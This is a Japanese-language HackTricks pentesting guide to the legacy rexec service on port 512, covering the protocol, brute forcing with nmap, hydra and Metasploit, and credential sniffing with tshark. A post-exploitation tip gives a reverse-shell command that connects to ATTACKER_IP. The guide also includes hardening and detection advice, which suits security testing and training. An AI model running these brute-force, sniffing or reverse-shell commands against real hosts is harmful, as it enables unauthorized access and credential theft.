hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
6.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## 基本情報
Rexec (remote **exec**) は、元々のバークレー *r*-サービススイートの一つです(`rlogin``rsh` などと共に)。これは **平文のユーザー名とパスワードのみで認証された** **リモートコマンド実行** 機能を提供します。このプロトコルは1980年代初頭に定義されRFC 1060参照、現在では **設計上不安全** と見なされています。それにもかかわらず、いくつかのレガシーUNIX / ネットワーク接続機器ではデフォルトで有効になっており、内部のペンテスト中に時折現れます。
**デフォルトポート:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 すべてのトラフィック 認証情報を含む は**暗号化されていない**状態で送信されます。ネットワークをスニッフィングする能力を持つ誰でも、ユーザー名、パスワード、コマンドを回復できます。
### プロトコルの概要
1. クライアントがTCP 512に接続します。
2. クライアントは3つの**NUL終端**文字列を送信します:
* 標準出力/標準エラーを受信したいポート番号ASCII形式、通常は`0`)、
* **ユーザー名**、
* **パスワード**。
3. 実行する**コマンド**を含む最終的なNUL終端文字列が送信されます。
4. サーバーは、単一の8ビットステータスバイト0 = 成功、`1` = 失敗)とコマンド出力を返します。
つまり、`echo -e``nc`だけで交換を再現できます:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
有効な資格情報であれば、同じ接続で `id` の出力がそのまま返されます。
### クライアントを使用した手動操作
多くのLinuxディストリビューションは、依然として **inetutils-rexec** / **rsh-client** パッケージ内にレガシークライアントを含んでいます:
```bash
rexec -l user -p password <target> "uname -a"
```
`-p`を省略すると、クライアントはパスワードをインタラクティブに要求します(ワイヤ上で平文で表示されます!)。
---
## 列挙とブルートフォース
### [**ブルートフォース**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
`rexec-brute` NSEは、上記で説明したプロトコルを使用して、非常に迅速に認証情報を試します。
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` は専用の **rexec** モジュールを持ち、最も高速なオフラインブルートフォースツールです。 `medusa` (`-M REXEC`) と `ncrack` (`rexec` モジュール) も同様に使用できます。
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
モジュールは成功するとシェルを生成し、資格情報をデータベースに保存します。
---
## 資格情報のスニッフィング
すべてが平文であるため、**ネットワークキャプチャは非常に貴重です**。 トラフィックのコピーがあれば、ターゲットに触れることなく資格情報を抽出できます:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wiresharkで*Decode As …​* TCP 512 → REXECを有効にして、きれいに解析されたフィールドを表示します。)
---
## ポストエクスプロイトのヒント
* 提供されたユーザーの権限でコマンドが実行されます。`/etc/pam.d/rexec`が誤って設定されている場合(例:`pam_rootok`、rootシェルが可能なことがあります。
* Rexecはユーザーのシェルを無視し、コマンドを`/bin/sh -c <cmd>`を介して実行します。したがって、典型的なシェルエスケープトリック(`;`、``$( )``、バックティック)を使用して複数のコマンドを連結したり、リバースシェルを生成したりできます:
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* パスワードは他のシステムの**~/.netrc**に保存されていることが多いです。1つのホストを侵害すると、それを再利用して横移動することができます。
---
## ハードニング / 検出
* **rexecを公開しないでください**; SSHに置き換えてください。ほとんどの現代の*inetd*スーパサーバーは、デフォルトでサービスをコメントアウトします。
* どうしても保持する必要がある場合は、TCPラッパー`/etc/hosts.allow`)やファイアウォールルールでアクセスを制限し、アカウントごとに強力なパスワードを強制してください。
* :512へのトラフィックと`rexecd`プロセスの起動を監視してください。単一のパケットキャプチャで侵害を検出するのに十分です。
* `rexec``rlogin``rsh`を一緒に無効にしてください それらはほとんど同じコードベースと脆弱性を共有しています。
---
## 参考文献
* Nmap NSE `rexec-brute`ドキュメント [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Rapid7 Metasploitモジュール`auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}